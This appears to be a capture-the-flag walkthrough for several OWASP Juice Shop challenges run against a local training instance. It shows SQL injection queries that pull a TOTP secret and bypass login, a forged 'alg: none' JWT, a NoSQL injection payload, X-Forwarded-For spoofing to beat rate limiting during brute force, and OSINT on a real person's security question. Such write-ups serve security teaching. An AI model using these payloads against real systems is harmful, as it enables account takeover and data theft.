- change the language and while doing so, check for network tab for the request
- (
aa_AA
,ab_AA
, …,zz_ZY
,zz_ZZ
) would still not solve the challenge, if we do brute-force then also get failed - The hidden language is Klingon which is represented by a three-letter code
tlh
with the dummy country codeAA
. - Request http://localhost:3000/assets/i18n/tlh_AA.json to solve the challenge. majQa’!
Instead of expanding your brute force pattern (which is not a very obvious decision to make) you can more easily find the solution to this challenge by investigating which languages are supported in the Juice Shop and how the translations are managed. This will quickly bring you over to https://crowdin.com/project/owasp-juice-shop which immediately spoilers Klingon as a supported language. Hovering over the corresponding flag will eventually spoiler the language code
tlh_AA
.## 6 -Two Factor Authentication
### Solve the 2FA challenge for user “wurstbrot”
(Disabling, bypassing or overwriting his 2FA settings does not count as a solution)
to solve this challenge we are going to use SQL injection for getting 2FA code.
- we can get email address of wurstbrot by Solving Retrieve a list of all user credentials via SQL Injection challenge.
- we get to know the email address is
wurstbrot@juice-sh.op
-
now try to login with the email using SQL injection
wurstbrot@juice-sh.op' --
but now you can see a 2FA is implemented asking for token.
http://localhost:3000/rest/products/search?q=')) union select '1',id,email,password,**2fa**,null,null,null,null from users--
now simply replace any null with 2fa,2fatoken,2fakey,totp,totpkey,totpsecret
and finally we get a valid column name exist :
totpsecret
http://localhost:3000/rest/products/search?q=')) union select '1',id,email,password,**totpsecret**,null,null,null,null from users--
- find the entry of user
wurstbrot@juice-sh.op
with"image":"IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH"
whereas all other users have"image":""
set. - Using your favorite 2FA application (e.g. Google Authenticator) create a new entry, but instead of scanning any QR code type in the key
IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH
manually. -
Go to
### and use SQL Injection to log in with
wurstbrot@juice-sh.op'--
as Username and anything as Password. - You will be presented with the Two Factor Authentication input screen where you now have to type in the 6-digit code currently displayed on your 2FA app
7 - Unsigned JWT
Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.
- first got an option where you can see an Authorisation header responsible for making request to server.
-
here we intercept a request with normal user on this endpoint
http://localhost:3000/rest/user/data-export
when we click on export simply we get an request intercept it, and
the authorization header, now go to jwt.io
- Copy the JWT (i.e. everything after Bearer in the Authorization header) and decode it.
-
in encoded token replace eyJhbGciOiJS with eyJhbGciOiJI in starting of token, there is flaw in jwt.io
-
under payload property on right side, we need to change email with
jwtn3d@juice-sh.op
- under header property replace the on right side,
"alg": "none"
- now simply use this site to https://simplycalc.com/base64url-encode.php make a both attribute
base64url encoded as
base64url(header).base64url(payload).
(.) dot is important on both ends.
and we get the following string as a token / Authorization Token
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJzdGF0dXMiOiAic3VjY2VzcyIsCiAgImRhdGEiOiB7CiAgICAiaWQiOiAxNiwKICAgICJ1c2VybmFtZSI6ICIiLAogICAgImVtYWlsIjogImp3dG4zZEBqdWljZS1zaC5vcCIsCiAgICAicGFzc3dvcmQiOiAiODI3Y2NiMGVlYThhNzA2YzRjMzRhMTY4OTFmODRlN2IiLAogICAgInJvbGUiOiAiY3VzdG9tZXIiLAogICAgImxhc3RMb2dpbklwIjogIjE3Mi4xNy4wLjEiLAogICAgInByb2ZpbGVJbWFnZSI6ICJkZWZhdWx0LnN2ZyIsCiAgICAidG90cFNlY3JldCI6ICIiLAogICAgImlzQWN0aXZlIjogdHJ1ZSwKICAgICJjcmVhdGVkQXQiOiAiMjAxOS0xMC0yMCAwNzoyNjo0NC43MjIgKzAwOjAwIiwKICAgICJ1cGRhdGVkQXQiOiAiMjAxOS0xMC0yMCAwOTo0NTowMS45MDIgKzAwOjAwIiwKICAgICJkZWxldGVkQXQiOiBudWxsCiAgfSwKICAiaWF0IjogMTU3MTYzMDE5NSwKICAiZXhwIjogMTU3MTY0ODE5NQp9.
- now use this as Authorization header to send request
8 -Login CISO
Exploit OAuth 2.0 to log in with the Chief Information Security Officer’s user account.
- Visit http://localhost:3000/#/login and enter some known credentials.
- Tick the Remember me checkbox and Log in.
- Inspecting the application cookies shows a new
email
cookie storing the plaintext email address. - Log out and go back to http://localhost:3000/#/login. Make sure Remember me is still ticked.
- Using
ciso@juice-sh.op
as Email and anything as Password perform a failed login attempt. - Inspecting the
email
cookie shows it was set tociso@juice-sh.op
even when login failed. - Inspecting any request being sent from now on you will notice a new custom HTTP header
X-User-Email: ciso@juice-sh.op
. - Now visit http://localhost:3000/#/login again, but this time choose the Log in with Google button to log in with your own Google account.
- Visit http://localhost:3000/#/contact and check the Author field to be surprised that you are logged in as
ciso@juice-sh.op
instead with your Google email address, because the OAuth integration for login will accept the ‘X-User-Email’ header as gospel regardless of the account that just logged in.
If you do not own a Google account to log in with or are running the Juice Shop on a hostname that is not recognized, you can still solve this challenge by logging in regularly but add "oauth": true
to the JSON payload POST
ed to http://localhost:3000/rest/user/login.
9 - NoSQL Exfiltration
All your orders are belong to us! Even the ones which don’t.
- Open the network tab of your browser’s DevTools.
- Visit http://localhost:3000/#/track-order and search for
x
to witness aGET
request http://localhost:3000/rest/track-order/x being sent returning{"status":"success","data":[{"orderId":"x"}]}
. -
Search for
'
(single quote) as Order ID now. http://localhost:3000/rest/track-order/’ will throw an error - Searching for
''
(two single quotes) as Order ID now will let http://localhost:3000/rest/track-order/’’ throw anUnexpected string
error instead of the previousInvalid or unexpected token
. - While not stated anywhere in the error messages, it can be assumed with some MongoDB background that the query probably resembles something like
{ $where: "property === '" + payload + "'" }
. - The required
payload
for the challenge needs to make sure all data is matched while squeezing itself into the query in a non-breaking way. - Search for
' || true || '
resulting in http://localhost:3000/rest/track-order/’%20%7C%7C%20true%20%7C%7C%20’ which will in fact query and return all orders from the MarsDB.
10 - Reset Bjoern’s Password.
Reset the password of Bjoern’s internal account via the Forgot Password mechanism with the original answer to his security question.
- Trying to find out who “Bjoern” might be should quickly lead you to the OWASP Juice Shop project leader and author of this ebook.
- Visit https://www.facebook.com/bjoern.kimminich to immediately learn that he is from the town of Uetersen in Germany.
- Visit https://gist.github.com/9045923 or https://pastebin.com/JL5E0RfX to find the source code of a (truly amazing) game Bjoern wrote in Turbo Pascal in 1995 (when he was a teenager) to learn his phone number area code of 04122 which belongs to Uetersen. This is sufficient proof that you in fact are on the right track.
- http://www.geopostcodes.com/Uetersen will tell you that Uetersen has ZIP code 25436.
- Visit http://localhost:3000/#/forgot-password and provide
bjoern@juice-sh.op
as your Email. - In the subsequently appearing form, provide
25436
as Your ZIP/postal code when you were a teenager? - Type and New Password and matching Repeat New Password followed by hitting Change to not solve this challenge.
- Bjoern added some obscurity to his security answer by using an uncommon variant of the pre-unification format of postal codes in Germany.
- Visit http://www.alte-postleitzahlen.de/uetersen to learn that Uetersen’s old ZIP code was
W-2082
. This would not work as an answer either. Bjoern used the written out variation:West-2082
. - Change the answer to Your ZIP/postal code when you were a teenager? into
West-2082
and click Change again to finally solve this challenge.
Postal codes in Germany
Postal codes in Germany, Postleitzahl (plural Postleitzahlen, abbreviated to PLZ; literally “postal routing number”), since 1 July 1993 consist of five digits. The first two digits indicate the wider area, the last three digits the postal district.Before reunification, both the Federal Republic of Germany (FRG) and the German Democratic Republic (GDR) used four-digit codes. Under a transitional arrangement following reunification, between 1989 and 1993 postal codes in the west were prefixed with ‘W’, e.g.: W-1000 [Berlin] 30 (postal districts in western cities were separate from the postal code) and those in the east with ‘O’ (for Ost), e.g.: O-1xxx Berlin.4
11 - Reset Morty’s Password
Reset Morty’s password via the Forgot Password mechanism with his obfuscated answer to his security question.
-
Trying to find out who “Morty” might be should eventually lead you to Morty Smith as the most likely user identity
- Visit http://rickandmorty.wikia.com/wiki/Morty and skim through the Family section
- It tells you that Morty had a dog named Snuffles which also goes by the alias of Snowball for a while.
- Visit http://localhost:3000/#/forgot-password and provide
morty@juice-sh.op
as your Email - Create a word list of all mutations (including typical “leet-speak”-variations!) of the strings
snuffles
andsnowball
using only- lower case (
a-z
) - upper case (
A-Z
) - and digit characters (
0-9
)
- lower case (
- Write a script that iterates over the word list and sends well-formed requests to
http://localhost:3000/rest/user/reset-password
. A rate limiting mechanism will prevent you from sending more than 100 requests within 5 minutes, severely hampering your brute force attack. - Change your script so that it provides a different
X-Forwarded-For
-header in each request, as this takes precedence over the client IP in determining the origin of a request. - Rerun your script you will notice at some point that the answer to the security question is
5N0wb41L
and the challenge is marked as solved. - Feel free to cancel the script execution at this point.
📕: If you do not want to write your own script for this challenge, take a look at juice-shop-mortys-question-brute-force.py which was kindly published as a Gist on GitHub by philly-vanilly.
Leet (or “1337”), also known as eleet or leetspeak, is a system of modified spellings and verbiage used primarily on the Internet for many phonetic languages. It uses some alphabetic characters to replace others in ways thdev at play on the similarity of their glyphs via reflection or other resemblance. Additionally, it modifies certain words based on a system of suffixes and alternative meanings.The term “leet” is derived from the word elite. The leet lexicon involves a specialized form of symbolic writing. For example, leet spellings of the word leet include 1337 and l33t; eleet may be spelled 31337 or 3l33t. Leet may also be considered a substitution cipher, although many dialects or linguistic varieties exist in different online communities.5
12 - Retrieve Blueprint
Deprive the shop of earnings by downloading the blueprint for one of its products.
- The description of the OWASP Juice Shop Logo (3D-printed) product indicates that this product might actually have kind of a blueprint
- Download the product image from http://localhost:3000/assets/public/images/products/3d_keychain.jpg and view its Exif metadata
- here we can use exiftool to extract data from image.
- Download http://localhost:3000/assets/public/images/products/JuiceShop.stl to solve this challenge
13 - Supply Chain Attack
Inform the development team about a danger to some of their credentials. (Send them the URL of the original report or the CVE of this vulnerability)
- Solve Access a developer’s forgotten backup file
- The
package.json.bak
contains not only runtime dependencies but also development dependencies under thedevDependencies
section. - Go through the list of
devDependencies
and perform research on vulnerabilities in them which would allow a Software Supply Chain Attack. - For the
eslint-scope
module you will learn about one such incident exactly in the pinned version3.7.2
, e.g. https://status.npmjs.org/incidents/dn7c1fgrr7ng or https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes - Both above links refer to the original report of this vulnerability on GitHub: https://github.com/eslint/eslint-scope/issues/39
- Visit http://localhost:3000/#/contact
- Submit your feedback with
https://github.com/eslint/eslint-scope/issues/39
in the comment to solve this challenge
14 - Frontend Typosquatting
Inform the shop about a typosquatting imposter that dug itself deep into the frontend. (Mention the exact name of the culprit)
- Request http://localhost:3000/3rdpartylicenses.txt to retrieve the 3rd party license list generated by Angular CLI by default
-
Combing through the list of modules you will come across
ng2-bar-rating
which openly reveals its intent on https://www.npmjs.com/package/ng2-bar-rating - Visit http://localhost:3000/#/contact
- Submit your feedback with
ng2-bar-rating
in the comment to solve this challenge
You can probably imagine that the typosquatted ng2-bar-rating
would be a lot harder to distinguish from the original repository ngx-bar-rating
, if it where not marked with the THIS IS NOT THE MODULE YOU ARE LOOKING FOR!-warning at the very top. Below you can see the original ngx-bar-rating
module page on NPM:
— —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— —
LEVEL -6
—- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —-